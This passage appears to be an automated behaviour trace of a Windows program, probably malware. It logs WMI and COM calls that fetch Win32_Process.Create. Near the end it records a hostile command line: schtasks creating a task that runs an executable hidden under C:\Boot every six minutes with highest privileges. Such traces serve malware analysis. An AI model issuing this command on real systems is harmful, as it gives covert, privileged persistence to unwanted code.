puCount=0x1b10d978*=0x0) returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352700, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetText (in: This=0x352700, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetText (in: This=0x352700, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0130.592] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x352c40) returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352700, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352700, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352700, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="ROOT") returned 0x0 [0130.592] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x352c40, uIndex=0x0, pszName="ROOT") returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352700, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352700, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="CIMV2") returned 0x0 [0130.592] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x352c40, uIndex=0x1, pszName="CIMV2") returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetClassName (in: This=0x352c40, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0130.592] WbemDefPath:IWbemPath:SetClassName (This=0x352c40, Name="Win32_Process") returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetInfo (in: This=0x352c40, uRequestedInfo=0x0, puResponse=0x1b10daf0 | out: puResponse=0x1b10daf0*=0x20c16) returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352c40, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x22, pszText=0x0) returned 0x0 [0130.593] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=4, puBuffLength=0x1b10da40*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0130.593] WbemDefPath:IWbemPath:GetInfo (in: This=0x352c40, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0x20c16) returned 0x0 [0130.593] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352c40, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0130.593] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x14, pszText=0x0) returned 0x0 [0130.593] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=8, puBuffLength=0x1b10da40*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b10da40*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0130.593] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352280, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0130.593] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=16, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xb, pszText=0x0) returned 0x0 [0130.593] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=16, puBuffLength=0x1b10da40*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10da40*=0xb, pszText="root\\cimv2") returned 0x0 [0130.593] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0130.593] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0130.593] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d998 | out: ppv=0x1b10d998*=0x3111d8) returned 0x0 [0130.593] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d988 | out: pAptType=0x1b10d988*=1) returned 0x0 [0130.593] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d990 | out: ppvObject=0x1b10d990*=0x0) returned 0x80004002 [0130.593] IUnknown:Release (This=0x3111d8) returned 0x1 [0130.594] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd88 | out: ppv=0x1b10cd88*=0x33a9c0) returned 0x0 [0130.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a9c0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce70 | out: ppvObject=0x1b10ce70*=0x0) returned 0x80004002 [0130.594] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a9c0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce48 | out: ppvObject=0x1b10ce48*=0x351380) returned 0x0 [0130.594] WbemDefPath:IUnknown:Release (This=0x33a9c0) returned 0x0 [0130.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x351380, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cbf0 | out: ppvObject=0x1b10cbf0*=0x351380) returned 0x0 [0130.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x351380, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc80 | out: ppvObject=0x1b10cc80*=0x0) returned 0x80004002 [0130.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x351380, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c478 | out: ppvObject=0x1b10c478*=0x0) returned 0x80004002 [0130.594] WbemDefPath:IUnknown:AddRef (This=0x351380) returned 0x3 [0130.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x351380, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c338 | out: ppvObject=0x1b10c338*=0x0) returned 0x80004002 [0130.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x351380, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2c0 | out: ppvObject=0x1b10c2c0*=0x0) returned 0x80004002 [0130.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x351380, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2b0 | out: ppvObject=0x1b10c2b0*=0x33ac60) returned 0x0 [0130.595] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33ac60, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2d8 | out: pCid=0x1b10c2d8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.595] WbemDefPath:IUnknown:Release (This=0x33ac60) returned 0x3 [0130.595] CoGetContextToken (in: pToken=0x1b10c360 | out: pToken=0x1b10c360) returned 0x0 [0130.595] CoGetContextToken (in: pToken=0x1b10c7e0 | out: pToken=0x1b10c7e0) returned 0x0 [0130.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x351380, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8a0 | out: ppvObject=0x1b10c8a0*=0x0) returned 0x80004002 [0130.595] WbemDefPath:IUnknown:Release (This=0x351380) returned 0x2 [0130.595] WbemDefPath:IUnknown:Release (This=0x351380) returned 0x1 [0130.595] CoGetContextToken (in: pToken=0x1b10d5d0 | out: pToken=0x1b10d5d0) returned 0x0 [0130.595] CoGetContextToken (in: pToken=0x1b10d4d0 | out: pToken=0x1b10d4d0) returned 0x0 [0130.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x351380, riid=0x1b10d630*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d600 | out: ppvObject=0x1b10d600*=0x351380) returned 0x0 [0130.595] WbemDefPath:IUnknown:AddRef (This=0x351380) returned 0x3 [0130.595] WbemDefPath:IUnknown:Release (This=0x351380) returned 0x2 [0130.595] WbemDefPath:IWbemPath:SetText (This=0x351380, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0130.595] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352280, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0130.595] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xf, pszText=0x0) returned 0x0 [0130.595] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=8, puBuffLength=0x1b10da40*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da40*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.595] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0130.596] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0130.596] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0130.596] IUnknown:Release (This=0x3111d8) returned 0x1 [0130.596] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x33a620) returned 0x0 [0130.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a620, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0130.597] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a620, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x3527c0) returned 0x0 [0130.597] WbemDefPath:IUnknown:Release (This=0x33a620) returned 0x0 [0130.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x3527c0) returned 0x0 [0130.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0130.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0130.597] WbemDefPath:IUnknown:AddRef (This=0x3527c0) returned 0x3 [0130.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0130.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0130.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33ab00) returned 0x0 [0130.597] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33ab00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.597] WbemDefPath:IUnknown:Release (This=0x33ab00) returned 0x3 [0130.597] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0130.597] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0130.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0130.597] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x2 [0130.598] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x1 [0130.598] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0130.598] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0130.598] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x3527c0) returned 0x0 [0130.598] WbemDefPath:IUnknown:AddRef (This=0x3527c0) returned 0x3 [0130.598] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x2 [0130.598] WbemDefPath:IWbemPath:SetText (This=0x3527c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0130.598] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351380, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0130.598] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3527c0, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0130.598] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0130.598] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="root\\cimv2") returned 0x0 [0130.598] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x351380) returned 0x0 [0130.598] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3527c0, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0130.598] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3527c0, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0130.598] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3527c0, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="root") returned 0x0 [0130.598] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x351380, uIndex=0x0, pszName="root") returned 0x0 [0130.598] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3527c0, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0130.598] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3527c0, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="cimv2") returned 0x0 [0130.598] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x351380, uIndex=0x1, pszName="cimv2") returned 0x0 [0130.598] WbemDefPath:IWbemPath:GetServer (in: This=0x3527c0, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetServer (in: This=0x3527c0, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetServer (in: This=0x351380, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetServer (in: This=0x351380, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetInfo (in: This=0x351380, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0xc15) returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352280, puCount=0x1b10d9b8 | out: puCount=0x1b10d9b8*=0x2) returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=4, puBuffLength=0x1b10d9b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9b0*=0xf, pszText=0x0) returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=4, puBuffLength=0x1b10d9b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352280, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351380, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetText (in: This=0x351380, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x1d, pszText=0x0) returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetText (in: This=0x351380, lFlags=4, puBuffLength=0x1b10da40*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0130.599] CoGetContextToken (in: pToken=0x1b10d350 | out: pToken=0x1b10d350) returned 0x0 [0130.599] WbemLocator:IUnknown:AddRef (This=0x3497a8) returned 0x3 [0130.599] WbemLocator:IUnknown:QueryInterface (in: This=0x3497a8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d350 | out: ppvObject=0x1b10d350*=0x3497a8) returned 0x0 [0130.599] WbemLocator:IUnknown:Release (This=0x3497a8) returned 0x3 [0130.599] WbemLocator:IUnknown:Release (This=0x3497a8) returned 0x2 [0130.599] WbemDefPath:IWbemPath:GetText (in: This=0x351380, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0130.599] WbemDefPath:IWbemPath:GetText (in: This=0x351380, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0130.599] IWbemServices:GetObject (in: This=0x1b4037e0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d9d0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d9d0*=0x1b4321a0, ppCallResult=0x0) returned 0x0 [0130.607] IWbemClassObject:GetMethod (in: This=0x1b4321a0, wszName="Create", lFlags=0, ppInSignature=0x1b10dac8, ppOutSignature=0x1b10dac0 | out: ppInSignature=0x1b10dac8*=0x1b44ea60, ppOutSignature=0x1b10dac0*=0x1b44f230) returned 0x0 [0130.607] IWbemClassObject:SpawnInstance (in: This=0x1b44ea60, lFlags=0, ppNewInstance=0x1b10dad8 | out: ppNewInstance=0x1b10dad8*=0x1b432bc0) returned 0x0 [0130.607] IWbemClassObject:Get (in: This=0x1b432bc0, wszName="CommandLine", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2bdd440*=0, plFlavor=0x2bdd444*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2bdd440*=8, plFlavor=0x2bdd444*=32) returned 0x0 [0130.607] IWbemClassObject:Get (in: This=0x1b432bc0, wszName="CommandLine", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2bdd440*=8, plFlavor=0x2bdd444*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2bdd440*=8, plFlavor=0x2bdd444*=32) returned 0x0 [0130.608] IWbemClassObject:Put (This=0x1b432bc0, wszName="CommandLine", lFlags=0, pVal=0x1b10da60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0130.608] IWbemClassObject:Get (in: This=0x1b432bc0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2bdd4d0*=0, plFlavor=0x2bdd4d4*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2bdd4d0*=13, plFlavor=0x2bdd4d4*=32) returned 0x0 [0130.608] IWbemClassObject:Get (in: This=0x1b432bc0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2bdd4d0*=13, plFlavor=0x2bdd4d4*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, 